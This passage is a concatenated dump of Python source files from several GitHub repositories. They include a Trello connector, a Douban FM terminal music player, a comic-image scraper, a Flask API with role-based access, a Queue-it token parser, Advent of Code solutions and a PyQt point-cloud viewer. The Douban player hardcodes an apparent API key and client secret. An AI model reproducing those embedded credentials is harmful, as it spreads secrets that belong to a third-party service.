= None, **kwargs) -> str:\n return f\"boards/{stream_slice['id']}/actions\"\n\n\nclass TrelloAuthenticator(HttpAuthenticator):\n \"\"\"\n Generate auth header for start making requests from API token and API key.\n \"\"\"\n\n def __init__(\n self,\n token: str,\n key: str,\n auth_header: str = \"Authorization\",\n key_header: str = \"oauth_consumer_key\",\n token_header: str = \"oauth_token\",\n ):\n self.auth_header = auth_header\n self.key_header = key_header\n self.token_header = token_header\n self._key = key\n self._token = token\n\n def get_auth_header(self) -> Mapping[str, Any]:\n return {self.auth_header: f'OAuth {self.key_header}=\"{self._key}\", {self.token_header}=\"{self._token}\"'}\n\n\nclass SourceTrello(AbstractSource):\n \"\"\"\n Source Trello fetch date from web-based, Kanban-style, list-making application.\n \"\"\"\n\n def check_connection(self, logger, config) -> Tuple[bool, any]:\n \"\"\"\n Testing connection availability for the connector by granting the credentials.\n \"\"\"\n\n try:\n url = f\"{TrelloStream.url_base}members/me\"\n\n authenticator = TrelloAuthenticator(token=config[\"token\"], key=config[\"key\"])\n\n session = requests.get(url, headers=authenticator.get_auth_header())\n session.raise_for_status()\n\n return True, None\n except requests.exceptions.RequestException as e:\n return False, e\n\n def streams(self, config: Mapping[str, Any]) -> List[Stream]:\n config[\"authenticator\"] = TrelloAuthenticator(token=config[\"token\"], key=config[\"key\"])\n\n return [Actions(config), Boards(config), Cards(config), Checklists(config), Lists(config), Users(config)]\n","repo_name":"datasphere-oss/datasphere-databyte","sub_path":"airbyte-integrations/connectors/source-trello/source_trello/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":7346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38040465879","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport subprocess\nimport requests\nimport urwid\nimport uuid\nimport random\nimport getpass\n\ntry:\n input = raw_input\nexcept NameError:\n pass\n\n\nclass Song(object):\n def __init__(self, song_json):\n try:\n self._parse(song_json)\n except KeyError:\n pass\n\n def _parse(self, song_json):\n self.sid = song_json['sid']\n self.picture = song_json['picture']\n self.artist = song_json['artist']\n self.title = song_json['title']\n if self.title.isupper():\n self.title = self.title.title()\n\n self.length_in_sec = song_json['length']\n self.url = song_json['url']\n\n @staticmethod\n def parse(song_json):\n return Song(song_json)\n\n\nclass Player(object):\n def __init__(self):\n self.is_playing = False\n self.current_song = None\n self.player_process = None\n self.external_player = None\n self._detect_external_players()\n\n def _detect_external_players(self):\n supported_external_players = [\n [\"mpv\", \"--really-quiet\"],\n [\"mplayer\", \"-really-quiet\"],\n [\"mpg123\", \"-q\"],\n ]\n\n for external_player in supported_external_players:\n proc = subprocess.Popen(\n [\"which\", external_player[0]],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n player_bin_path = proc.communicate()[0].strip()\n\n if player_bin_path and os.path.exists(player_bin_path):\n self.external_player = external_player\n break\n\n else:\n print(\"No supported player(mpv/mplayer/mpg123) found. Exit.\")\n raise SystemExit()\n\n def play(self, song):\n if self.is_playing:\n self.stop()\n\n self.current_song = song\n self.player_process = subprocess.Popen(\n self.external_player + [self.current_song.url],\n stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n self.is_playing = True\n\n def stop(self):\n self.is_playing = False\n\n if self.player_process is None:\n return\n try:\n self.player_process.terminate()\n except:\n pass\n\n\nclass DoubanFMApi:\n API_HOST_URL = \"https://api.douban.com\"\n TOKEN_HOST_URL = \"https://www.douban.com\"\n APP_NAME = \"radio_android\"\n VERSION = \"642\"\n KEY = \"02f7751a55066bcb08e65f4eff134361\"\n SECRET = \"63cf04ebd7b0ff3b\"\n UUID = '408428bc' + str(uuid.uuid4()).replace('-', '')\n REDIRECT_URI = 'http://douban.fm'\n\n def __init__(self):\n self.auth = None\n\n def login(self, email, password):\n rsp = requests.post('%s/service/auth2/token' % DoubanFMApi.TOKEN_HOST_URL, data={\n 'username': email,\n 'password': password,\n 'udid': DoubanFMApi.UUID,\n 'client_id': DoubanFMApi.KEY,\n 'client_secret': DoubanFMApi.SECRET,\n 'redirect_uri': DoubanFMApi.REDIRECT_URI,\n 'grant_type': 'password',\n 'apikey': DoubanFMApi.KEY,\n }).json()\n\n self.auth = \"Bearer %s\" % rsp['access_token']\n\n def get_redheart_songs(self):\n if self.auth is None:\n return []\n\n auth_header = {'Authorization': self.auth}\n\n rsp = requests.get('%s/v2/fm/redheart/basic' % DoubanFMApi.API_HOST_URL, params={\n 'app_name': DoubanFMApi.APP_NAME,\n 'version': DoubanFMApi.VERSION,\n }, headers=auth_header).json()\n\n sids = \"\"\n for sid in rsp['songs']:\n if sid['playable'] is True:\n sids += sid['sid'] + '|'\n\n sids = sids[:-1]\n\n rsp = requests.post('%s/v2/fm/songs' % DoubanFMApi.API_HOST_URL, data={\n 'sids': sids,\n 'kbps': '128',\n 'app_name': DoubanFMApi.APP_NAME,\n 'version': DoubanFMApi.VERSION,\n 'apikey': DoubanFMApi.KEY,\n }, headers=auth_header).json()\n\n return list(map(Song.parse, rsp))\n\n\nclass SongButton(urwid.Button):\n def __init__(self, song, on_pressed_callback, index=0):\n super(SongButton, self).__init__('', on_pressed_callback)\n self.index = index\n self.song = song\n self.is_playing = False\n\n self._text = urwid.SelectableIcon(\n u'• %s - %s' % (song.title, song.artist),\n cursor_position=0)\n self._w = urwid.AttrMap(self._text, None, focus_map='reversed')\n self.set_is_playing(self.is_playing)\n\n # 设置按钮播放状态\n def set_is_playing(self, is_playing):\n self.is_playing = is_playing\n\n if is_playing:\n self._text.set_text(u'♫' + self._text.text[1:])\n self._w.set_attr_map({None: 'playing'})\n else:\n self._text.set_text(u'•' + self._text.text[1:])\n self._w.set_attr_map({'playing': None})\n\n def mouse_event(self, size, event, button, x, y, focus):\n # 屏蔽鼠标点击\n pass\n\n\nclass SongListBox(urwid.ListBox):\n def __init__(self, btns):\n super(SongListBox, self).__init__(urwid.SimpleFocusListWalker(btns))\n\n self._command_map['j'] = 'cursor down'\n self._command_map['k'] = 'cursor up'\n\n def keypress(self, size, key):\n if key in ('up', 'down', 'page up', 'page down', 'enter', ' ', 'j', 'k'):\n return super(SongListBox, self).keypress(size, key)\n\n if key in ('q', 'Q', 'esc'):\n # 发送退出信号\n urwid.emit_signal(self, 'exit')\n\n if key in ('s', 'S'):\n # 停止播放\n urwid.emit_signal(self, 'stop')\n\n if key in ('left', 'right'):\n # 下一首歌曲\n urwid.emit_signal(self, 'next_song')\n\n if key in ('m', 'M'):\n # 切换模式\n urwid.emit_signal(self, 'change_mode')\n\n\nclass UI:\n LOOP_MODE = {\n 0: u'单曲循环',\n 1: u'全部循环',\n 2: u'随机播放',\n }\n\n def __init__(self):\n self.player = Player()\n self.btns = []\n self.playing_btn = None\n self.loop_mode = 0\n self.next_song_alarm = None\n self.main = None\n self.index = 0\n\n # 调色板\n self.palette = [\n ('reversed', '', '', '', 'standout', ''),\n ('playing', '', '', '', 'bold, g7', '#d06'),\n ('title', '', '', '', 'bold, g7', '#d06'),\n ('loop_mode', '', '', '', 'bold, g7', '#d06'),\n ('red', '', '', '', 'bold, #d06', ''),\n ]\n\n self._setup_ui()\n\n def _setup_ui(self):\n email = input('豆瓣账户 (Email地址): ')\n password = getpass.getpass('豆瓣密码: ')\n\n api = DoubanFMApi()\n api.login(email, password)\n songs = api.get_redheart_songs()\n\n # 头部\n self.title = urwid.Text('')\n self._update_title()\n divider = urwid.Divider()\n header = urwid.Padding(urwid.Pile([divider, self.title, divider]), left=4, right=4)\n\n # 歌曲列表\n index = 0\n for song in songs:\n self.btns.append(SongButton(song, self._on_item_pressed, index))\n index += 1\n self.song_listbox = SongListBox(self.btns)\n\n # 页面\n self.main = urwid.Padding(\n urwid.Frame(self.song_listbox, header=header, footer=divider),\n left=4, right=4)\n\n # 注册信号回调\n urwid.register_signal(\n SongListBox, ['exit', 'stop', 'next_song', 'change_mode'])\n urwid.connect_signal(self.song_listbox, 'exit', self._on_exit)\n urwid.connect_signal(self.song_listbox, 'stop', self.stop_song)\n urwid.connect_signal(self.song_listbox, 'next_song', self.next_song)\n urwid.connect_signal(self.song_listbox, 'change_mode', self.change_mode)\n\n self.loop = urwid.MainLoop(self.main, palette=self.palette)\n self.loop.screen.set_terminal_properties(colors=256)\n\n def _update_title(self):\n text = [\n ('title', u' ❤ 豆瓣 FM 红心歌曲 '),\n ('red', u' LOOP: '),\n ('loop_mode', u'%s' % UI.LOOP_MODE[self.loop_mode]),\n ]\n\n if self.playing_btn is not None:\n playing_song = self.playing_btn.song\n text.extend([\n ('red', u'\\n♫ %s - %s' % (playing_song.title, playing_song.artist)),\n ])\n\n self.title.set_text(text)\n\n def stop_song(self):\n if self.playing_btn is not None:\n self.playing_btn.set_is_playing(False)\n self.index = self.playing_btn.index\n self.playing_btn = None\n\n self.player.stop()\n self._update_title()\n\n if self.next_song_alarm is not None:\n self.loop.remove_alarm(self.next_song_alarm)\n\n def next_song(self):\n # 单曲循环\n if self.loop_mode == 0:\n # 处于未播放状态时\n if self.playing_btn is not None:\n self._on_item_pressed(self.playing_btn)\n else:\n self._on_item_pressed(self.btns[self.index])\n # 全部循环\n elif self.loop_mode == 1:\n # 处于未播放状态时\n if self.playing_btn is None:\n index = self.index\n else:\n index = self.playing_btn.index + 1\n if index >= len(self.btns):\n index = 0\n next_song_btn = self.btns[index]\n self._on_item_pressed(next_song_btn)\n # 随机播放\n elif self.loop_mode == 2:\n next_song_btn = self.btns[random.randint(0, len(self.btns) - 1)]\n self._on_item_pressed(next_song_btn)\n\n def change_mode(self):\n if self.loop_mode < 2:\n self.loop_mode += 1\n else:\n self.loop_mode = 0\n\n self._update_title()\n\n def _on_item_pressed(self, button):\n if self.playing_btn is not None:\n self.playing_btn.set_is_playing(False)\n self.playing_btn = button\n self.playing_btn.set_is_playing(True)\n\n playing_song = self.playing_btn.song\n self.player.play(playing_song)\n self._update_title()\n\n # 循环播放定时设置\n if self.next_song_alarm is not None:\n self.loop.remove_alarm(self.next_song_alarm)\n\n self.next_song_alarm = self.loop.set_alarm_in(\n playing_song.length_in_sec,\n lambda loop, data: self.next_song(), None)\n\n def _on_exit(self):\n self.player.stop()\n raise urwid.ExitMainLoop()\n\n def run(self):\n self.loop.run()\n\n\nif __name__ == '__main__':\n UI().run()\n\n","repo_name":"nekocode/doubanfm-py","sub_path":"fm.py","file_name":"fm.py","file_ext":"py","file_size_in_byte":10643,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"18"} +{"seq_id":"25987560418","text":"from bs4 import BeautifulSoup\nimport requests\nimport os\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nclass Chapter(object):\n def __init__(self,name,url,page):\n self.name = name\n self.url = url\n self.page = page\n\n def start(self):\n\n url = self.url\n\n\n driver = webdriver.PhantomJS()\n driver.get(url)\n soup = BeautifulSoup(driver.page_source, 'lxml')\n titles = soup.select('.image_cache.loading.cur_img')\n\n imgArray = []\n for info in titles:\n infoes = {\n 'id': info['id'][-7:],\n 'imgUrl': info['src']\n }\n\n imgId = int(infoes['id'])\n imgArray.append(infoes['imgUrl'])\n # print(imgId)\n\n\n\n lastNum = imgId + self.page -1\n while imgId < lastNum:\n imgId += 1\n new_url = url + '#image_id={}'.format(imgId)\n\n driver = webdriver.PhantomJS()\n driver.get(new_url)\n c_soup = BeautifulSoup(driver.page_source, 'lxml')\n c_titles = c_soup.select('.image_cache.loading.cur_img')\n imgg = [y['src'] for y in c_titles]\n imgArray.append(imgg[0])\n # print(imgArray)\n os.makedirs('/Users/user/desktop/guidao/{}'.format(self.name))\n os.chdir('/Users/user/desktop/guidao/{}'.format(self.name))\n\n def saveImg(imageURL, fileName):\n img = requests.get(imageURL)\n f = open(fileName, 'wb')\n f.write(img.content)\n f.close()\n\n saveId = 0\n while saveId < len(imgArray):\n saveImg(imgArray[saveId],'{}.jpg'.format(saveId+1))\n saveId += 1\n\n\n# name = '第零章(楔子):天堂之眼 上 2014-03-18'\n# url = 'http://www.u17.com/chapter/266667.html'\n# page = 9\n# spider = Chapter(name,url,page)\n# spider.start()\n\n","repo_name":"mengyouhan/manga-guidao","sub_path":"jichu.py","file_name":"jichu.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24305344712","text":"from controllers.create_app_route import app_route\r\nfrom flask import jsonify, request\r\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\r\nfrom helper import current_user\r\nfrom models.database import db\r\nfrom models import Department, Employee, Office\r\nfrom sqlalchemy.sql import func\r\nimport flask\r\n\r\n\r\n@app_route.route('/departments', methods=['GET'])\r\n@app_route.route('/departments/', methods=['GET'])\r\n@jwt_required()\r\ndef get_departments():\r\n tokenData = get_jwt_identity()\r\n country = request.args.get('country')\r\n office_title = request.args.get('office_title')\r\n\r\n current_employee = current_user(tokenData['staff_number'])\r\n\r\n if current_employee['role'] == 'Engineer':\r\n return jsonify({\"msg\":\"No access\"}), 403\r\n else:\r\n alldepartments = Department.query.join(Office) \\\r\n .filter((func.lower(Office.country) == country.lower()) if country else True) \\\r\n .filter((func.lower(Office.title) == office_title.lower()) if office_title else True) \\\r\n .all()\r\n if alldepartments == []:\r\n return jsonify({\"msg\":\"Not found department\"}), 400\r\n\r\n output = []\r\n for department in alldepartments:\r\n if current_employee['role'] == \"Head\":\r\n output.append(department_dict_formation(department))\r\n else:\r\n if current_employee['role'] == 'Head of department' \\\r\n and current_employee['department_id'] == department.id:\r\n output.append(department_dict_formation(department))\r\n elif current_employee['role'] == 'Head of office' \\\r\n and current_employee['office_id'] == department.office_id:\r\n output.append(department_dict_formation(department))\r\n\r\n if output:\r\n return jsonify(output)\r\n else:\r\n return jsonify({\"msg\":\"No access\"}), 403\r\n\r\n\r\n#\r\n@app_route.route('/department/', methods=['GET'])\r\n@jwt_required()\r\ndef get_department(title):\r\n tokenData = get_jwt_identity()\r\n current_employee = current_user(tokenData['staff_number'])\r\n\r\n if current_employee['role'] == 'Engineer':\r\n return jsonify({\"msg\":\"No access\"}), 403\r\n else:\r\n alldepartments = Department.query.filter(func.lower(Department.title) == title.lower()).all()\r\n\r\n if alldepartments == 0:\r\n return jsonify({\"msg\":\"Not found department\"}), 400\r\n elif len(alldepartments) == 1:\r\n if current_employee['office_id'] == alldepartments[0].office_id \\\r\n or current_employee['department_id'] == alldepartments[0].id:\r\n return department_dict_formation(alldepartments[0])\r\n elif current_employee['role'] == 'Head':\r\n return department_dict_formation(alldepartments[0])\r\n else:\r\n return jsonify({\"msg\":\"No access\"}), 403\r\n else:\r\n output = []\r\n for department in alldepartments:\r\n if current_employee['role'] == \"Head\":\r\n output.append(department_dict_formation(department))\r\n else:\r\n if current_employee['role'] == 'Head of department' and current_employee[\r\n 'department_id'] == department.id:\r\n output.append(department_dict_formation(department))\r\n elif current_employee['role'] == 'Head of office' and current_employee[\r\n 'office_id'] == department.office_id:\r\n output.append(department_dict_formation(department))\r\n\r\n if output:\r\n return jsonify(output)\r\n else:\r\n return jsonify({\"msg\":\"No access\"}), 403\r\n\r\n\r\ndef department_dict_formation(department):\r\n # Formation of a dictionary of department parameters\r\n res = {}\r\n res['id'] = department.id\r\n res['title'] = department.title\r\n res['office_id'] = department.office_id\r\n res['office_title'] = department.office.title\r\n res['country'] = department.office.country\r\n res['amount_employees'] = Employee.query.filter_by(department_id=department.id).count()\r\n res['payroll_costs'] = db.session.query(func.sum(Employee.salary)).filter_by(department_id=department.id).one()[0]\r\n\r\n return res\r\n","repo_name":"ska034/first_api_project","sub_path":"controllers/department/get_department.py","file_name":"get_department.py","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42481064005","text":"#!/usr/bin/env python3\nimport connexion\nimport signal\n\nfrom swagger_server import encoder\n\nCERT = 'certs/cert.pem'\nKEY = 'certs/key.pem'\n\ndef main():\n #https://stackoverflow.com/questions/16807603/python-non-blocking-non-defunct-process\n\t\n signal.signal(signal.SIGCHLD, signal.SIG_IGN)\n\n app = connexion.App(__name__, specification_dir='./swagger/')\n app.app.json_encoder = encoder.JSONEncoder\n app.add_api('swagger.yaml', arguments={'title': 'Timeseries Outlier Analysis'}, pythonic_params=True)\n app.run(port=8080, debug=True, ssl_context=(CERT, KEY))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"d0rg0ld/QualityAssurance","sub_path":"webserver/swagger_server/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38376401244","text":"from typing import Optional\n\nfrom .models import Utils as Utils\n\n\nclass RedirectionParam:\n # This is discussed in section 5.3.5.4 of the Technical Integration document, version 5.1.3.\n QUEUE = \"Queue\" # The user is being redirected from the queue\n SAFETY_NET = \"SafetyNet\" # The target URL is only peak-protected, and the protection is not currently active\n AFTER_EVENT = \"AfterEvent\" # The waiting room is dead\n DISABLED = \"Disabled\"\n DIRECT_LINK = \"DirectLink\" # The user has not been through the waiting room\n IDLE = \"Idle\" # The waiting room was idle\n\n\nclass QueueUrlParams:\n KEY_VALUE_SEPARATOR_GROUP_CHAR = '~'\n KEY_VALUE_SEPARATOR_CHAR = '_'\n TIMESTAMP_KEY = \"ts\"\n COOKIE_VALIDITY_MINUTES_KEY = \"cv\"\n EVENT_ID_KEY = \"e\" # The waiting room's lifetime is an \"event\".\n EXTENDABLE_COOKIE_KEY = \"ce\"\n HASH_KEY = \"h\"\n QUEUE_ID_KEY = \"q\" # A unique identifier for a specific user in a specific queue / \"event\". See 5.3.5.1.\n REDIRECT_TYPE_KEY = \"rt\" # Redirection parameter\n\n def __init__(self):\n self.timeStamp = 0\n self.eventId = \"\"\n self.hashCode = \"\"\n self.extendableCookie = False\n self.cookieValidityMinutes = None\n self.queueITToken = \"\"\n self.queueITTokenWithoutHash = \"\"\n self.queueId = \"\"\n self.redirectType = None # See RedirectionParam\n\n @staticmethod\n def extractQueueParams(queueit_token) -> Optional[\"QueueUrlParams\"]:\n result = QueueUrlParams()\n if Utils.isNilOrEmpty(queueit_token):\n return None\n result.queueITToken = queueit_token\n params_name_value_list = result.queueITToken.split(QueueUrlParams.KEY_VALUE_SEPARATOR_GROUP_CHAR)\n for pNameValue in params_name_value_list:\n param_name_value_arr = pNameValue.split(QueueUrlParams.KEY_VALUE_SEPARATOR_CHAR)\n if len(param_name_value_arr) != 2:\n continue\n param_name = param_name_value_arr[0]\n param_value = param_name_value_arr[1]\n\n if param_name == QueueUrlParams.HASH_KEY:\n result.hashCode = param_value\n elif param_name == QueueUrlParams.TIMESTAMP_KEY:\n if not param_value.isdigit():\n continue\n result.timeStamp = int(param_value)\n elif param_name == QueueUrlParams.COOKIE_VALIDITY_MINUTES_KEY:\n if not param_value.isdigit():\n continue\n result.cookieValidityMinutes = int(param_value)\n elif param_name == QueueUrlParams.EVENT_ID_KEY:\n result.eventId = param_value\n elif param_name == QueueUrlParams.EXTENDABLE_COOKIE_KEY:\n if param_value.upper() == 'TRUE':\n result.extendableCookie = True\n elif param_name == QueueUrlParams.QUEUE_ID_KEY:\n result.queueId = param_value\n elif param_name == QueueUrlParams.REDIRECT_TYPE_KEY:\n result.redirectType = param_value\n\n hash_value = QueueUrlParams.KEY_VALUE_SEPARATOR_GROUP_CHAR + QueueUrlParams.HASH_KEY \\\n + QueueUrlParams.KEY_VALUE_SEPARATOR_CHAR \\\n + result.hashCode\n result.queueITTokenWithoutHash = result.queueITToken.replace(hash_value, \"\")\n return result\n","repo_name":"sweet-io-org/KnownUser.V3.Python","sub_path":"queue_url_params.py","file_name":"queue_url_params.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"34570102348","text":"from fileHandle import readfile\nimport functools\n\n\ndef puzzle13(input_file='day7.txt'):\n data = readfile(input_file).split(',')\n crab_x = [int(x) for x in data]\n max_x = functools.reduce(lambda a, b: max(a, b), crab_x)\n nx = [0] * (max_x + 1)\n for x in crab_x:\n nx[x] += 1\n fuel = [0] * (max_x + 1)\n for x in range(max_x + 1):\n for i in range(max_x + 1):\n fuel[x] += nx[i] * abs(x - i)\n if x > 0 and fuel[x] > fuel[x - 1]:\n return x - 1, fuel[x - 1]\n else:\n return max_x, fuel[max_x]\n\n\ndef puzzle14(input_file='day7.txt'):\n data = readfile(input_file).split(',')\n crab_x = [int(x) for x in data]\n max_x = functools.reduce(lambda a, b: max(a, b), crab_x)\n fuel = [0] * (max_x + 1)\n for x in range(max_x + 1):\n for cx in crab_x:\n fuel[x] += abs(x - cx) * (abs(x - cx) + 1) // 2\n if x > 0 and fuel[x] > fuel[x - 1]:\n return x - 1, fuel[x - 1]\n else:\n return max_x, fuel[max_x]\n\n\ndef calc_g(nx):\n # g[x] = Sigma(i=0,x-1) nx[i] - Sigma(i=x,n) nx[i]\n g = [0] * len(nx)\n g[0] = -functools.reduce(lambda a, b: a + b, nx)\n for x in range(1, len(nx)):\n g[x] = g[x - 1] + 2 * nx[x - 1]\n if g[x] > 0:\n break\n return g[:x]\n\n\ndef f(x, nx, g):\n value = 0\n if x == 0:\n for i in range(len(nx)):\n value += i * nx[i]\n else:\n value = f(x - 1, nx, g) + g[x]\n return value\n\n\ndef puzzle13b(input_file='day7.txt'):\n data = readfile(input_file).split(',')\n crab_x = [int(x) for x in data]\n max_x = functools.reduce(lambda a, b: max(a, b), crab_x)\n nx = [0] * (max_x + 1)\n for x in crab_x:\n nx[x] += 1\n # g[x] = Σ(i=0,x-1) nx[i] - Σ(i=x,n) nx[i]\n g = calc_g(nx)\n best_x = len(g) - 1\n best_fuel = f(best_x, nx, g)\n return best_x, best_fuel\n","repo_name":"ehzan/advent-of-code","sub_path":"2021/day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25797404322","text":"from mvc_implementation.data_structures.state_machine import SocketedStateMachine, JMsg\nfrom mvc_implementation.display_util.display_util import *\nfrom mvc_implementation.dependencies.display_util.dialogue import get_yes_no, get_filename, get_text\n\n# import pyximport; pyximport.install()\nimport mvc_implementation.data_util.cy_scatter as ct\n\nimport pyqtgraph as pg\nimport pyqtgraph.opengl as pgl\n\nfrom PyQt5.QtCore import pyqtSignal\nfrom PyQt5.QtWidgets import *\n\nimport numpy as np\n\nimport sys\n\n\nclass DisplayWindow(QMainWindow):\n\n def __init__(self):\n super().__init__()\n\n\nclass BetterDisplayMachine(SocketedStateMachine):\n\n def __init__(self, app: QApplication, **kwargs):\n super().__init__(**kwargs)\n\n # self.state_exec_mgr.use_idle_state = False\n\n self.app = app\n self.window = QMainWindow()\n self.grid = QGridLayout()\n self.widgets = {}\n\n # Sets up the grid layout\n # self.grid = QGridLayout()\n self.grid.setSpacing(10)\n\n # Creates basic layout widget\n widg = QWidget()\n widg.setLayout(self.grid)\n self.set_widget(widg)\n\n self.window.setGeometry(300, 300, 500, 400)\n self.window.setWindowTitle('Depth Averaging Utility')\n self.window.statusBar().showMessage('Ready')\n self.window.show()\n\n # region Sets up the states dict\n\n self.states['set_widget'] = self.set_widget\n self.states['status'] = self.set_status\n self.states['title'] = self.set_title\n self.states['show'] = self.window.show\n self.states['hide'] = self.window.hide\n self.states['create_button'] = self.create_button\n self.states['create_label'] = self.create_label\n self.states['create_text_entry'] = self.create_line_edit\n self.states['create_slider'] = self.create_slider\n self.states['create_widget'] = self.create_widget\n self.states['yes/no'] = self.dialog_yes_no\n self.states['file_dialog'] = self.dialog_filename\n\n # endregion\n\n def set_widget(self, data: QWidget):\n \"\"\"Changes the central widget of the display contained in this window\"\"\"\n self.window.setCentralWidget(data)\n self.window.show()\n\n def set_status(self, data: str):\n \"\"\"Changes the status bar message of this display's window\"\"\"\n self.window.statusBar().showMessage(data)\n\n def set_title(self, data: str):\n \"\"\"Changes the window title\"\"\"\n self.window.setWindowTitle(data)\n\n # region Window control creation\n\n def __create_widget(self, widg: QWidget, data: dict):\n \"\"\"Creates a new widget object\"\"\"\n\n if 'tip' in data:\n widg.setToolTip(data['tip'])\n\n widg.resize(widg.sizeHint())\n\n self.widgets[data['id']] = widg\n self.grid.addWidget(widg, data['row'], data['col'], data['rowSpan'], data['columnSpan'])\n\n return widg\n\n def create_widget(self, data: dict):\n \"\"\"Creates a custom widget based on the arguments and type given\"\"\"\n if 'kwargs' in data:\n temp = data['type'](**data['kwargs'], parent=self.window)\n else:\n temp = data['type'](parent=self.window)\n\n self.__create_widget(temp, data)\n\n def create_button(self, data: dict):\n \"\"\"Creates a new button with the given arguments\"\"\"\n data['type'] = QPushButton\n data['kwargs'] = {'text': data['text']}\n self.create_widget(data)\n\n def create_label(self, data: dict):\n \"\"\"Creates a new label with the given arguments\"\"\"\n data['type'] = QLabel\n data['kwargs'] = {'text': data['text']}\n self.create_widget(data)\n\n def create_line_edit(self, data: dict):\n \"\"\"Creates a new lineEdit (text entry) box with the given arguments\"\"\"\n data['type'] = QLineEdit\n self.create_widget(data)\n\n def create_slider(self, data: dict):\n \"\"\"Creates a new slider with the given arguments\"\"\"\n data['type'] = QSlider\n data['kwargs'] = {'orientation': data['orient']}\n self.create_widget(data)\n\n # endregion\n\n def dialog_yes_no(self, data: dict):\n \"\"\"Shows a dialog box and prompts the user for a yes/no question, puts a signal based on the response\"\"\"\n resp = get_yes_no(data['prompt'], data['description'], data['detailed_text'], parent=self.window)\n\n self.tx.put(JMsg('yes_no_dialog_response', resp))\n\n def dialog_filename(self, data: dict):\n \"\"\"Shows a file dialog and prompts the user to select an existing file on their computer\"\"\"\n file = get_filename(data['prompt'], data['start_directory'], data['valid_files'], parent=self.window)\n\n self.tx.put(JMsg('file_dialog_response', file))\n\n\nclass PointCloudDisplayMachine(BetterDisplayMachine):\n \n slider_scale = 1000\n slider_max = 1\n slider_min = 0\n depth_slider_scale = 100\n depth_scale_max = 4\n \n def __init__(self, app: QApplication, **kwargs):\n super().__init__(app, **kwargs)\n\n self.roi = None\n \n self.states['reset_status'] = self.reset_status\n self.states['update_slider_value'] = self.update_slider_val\n self.states['update_slider_range'] = self.update_slider_range\n self.states['update_slider_callback_valueChanged'] = self.update_slider_callback_valueChanged\n self.states['update_slider_callback_sliderReleased'] = self.update_slider_callback_sliderReleased\n self.states['update_widget_alignment'] = self.update_widget_alignment\n self.states['update_label_text'] = self.update_label_text\n self.states['point_cloud_initialize'] = self.dmp_init\n self.states['image_initialize'] = self.img_init\n self.states['roi'] = self.insert_roi\n self.states['process_roi'] = self.process_roi\n self.states['display_image'] = self.display_img\n self.states['display_cloud'] = self.display_cloud\n\n self.append_states([\n ('create_widget', get_custom_widg_dict(pg.ImageView, 'img', 1, 0, 3, 1)),\n ('create_widget', get_custom_widg_dict(pgl.GLViewWidget, 'dmp', 5, 0)),\n\n # endregion\n\n ('update_widget_alignment',\n {\n 'name': 'dmp_scale_lbl',\n 'alignment': Qt.AlignLeft\n }),\n\n ])\n\n # region Sets up the roi and exit buttons\n\n self.create_button(get_text_widg_dict('roi', 'roi_btn', 0, 1, col_span=3,\n tip='Create a new <b>ROI</b> (region of interest)' +\n ' or edit the current one.')),\n #\n # ('create_button',\n # get_text_widg_dict('Exit', 'exit_btn', 2, 1, 'Exit the program')))\n # self.widgets['exit_btn'].clicked.connect(self.stop)\n\n # endregion\n\n # region Sets up the colormap sliders\n\n self.create_label(get_text_widg_dict('Max', 'cmap_max_lbl', 4, 1))\n self.create_slider(get_slider_widg_dict(Qt.Vertical, 'cmap_max', 5, 1,\n tip='Adjusts the upper saturation limit of the colormap'))\n self.create_label(get_text_widg_dict('3.0 m', 'cmap_max_lbl_val', 6, 1))\n\n self.create_label(get_text_widg_dict('Mid', 'cmap_mid_lbl', 4, 2))\n self.create_slider(get_slider_widg_dict(Qt.Vertical, 'cmap_mid', 5, 2,\n tip='Adjusts the mid-point of the colormap'))\n self.create_label(get_text_widg_dict('1.5 m', 'cmap_mid_lbl_val', 6, 2))\n\n self.create_label(get_text_widg_dict('Min', 'cmap_min_lbl', 4, 3))\n self.create_slider(get_slider_widg_dict(Qt.Vertical, 'cmap_min', 5, 3,\n tip='Adjusts the lower saturation limit of the colormap'))\n self.create_label(get_text_widg_dict('0.0 m', 'cmap_min_lbl_val', 6, 3))\n\n self.create_label(get_text_widg_dict('Depth Scale: {} x'.format(self.depth_scale_max >> 1),\n 'dmp_scale_lbl', 7, 0))\n\n self.create_slider(get_slider_widg_dict(Qt.Horizontal, 'dmp_scale', 6, 0))\n\n self.create_label(get_text_widg_dict('Max', 'cmap_max_lbl', 4, 1))\n self.create_slider(get_slider_widg_dict(Qt.Vertical, 'cmap_max', 5, 1,\n tip='Adjusts the upper saturation limit of the colormap'))\n self.create_label(get_text_widg_dict('3.0 m', 'cmap_max_lbl_val', 6, 1))\n\n self.create_label(get_text_widg_dict('Mid', 'cmap_mid_lbl', 4, 2))\n self.create_slider(get_slider_widg_dict(Qt.Vertical, 'cmap_mid', 5, 2,\n tip='Adjusts the mid-point of the colormap'))\n self.create_label(get_text_widg_dict('1.5 m', 'cmap_mid_lbl_val', 6, 2))\n\n self.create_label(get_text_widg_dict('Min', 'cmap_min_lbl', 4, 3))\n self.create_slider(get_slider_widg_dict(Qt.Vertical, 'cmap_min', 5, 3,\n tip='Adjusts the lower saturation limit of the colormap'))\n self.create_label(get_text_widg_dict('0.0 m', 'cmap_min_lbl_val', 6, 3))\n\n self.create_label(get_text_widg_dict('Depth Scale: {} x'.format(self.depth_scale_max >> 1),\n 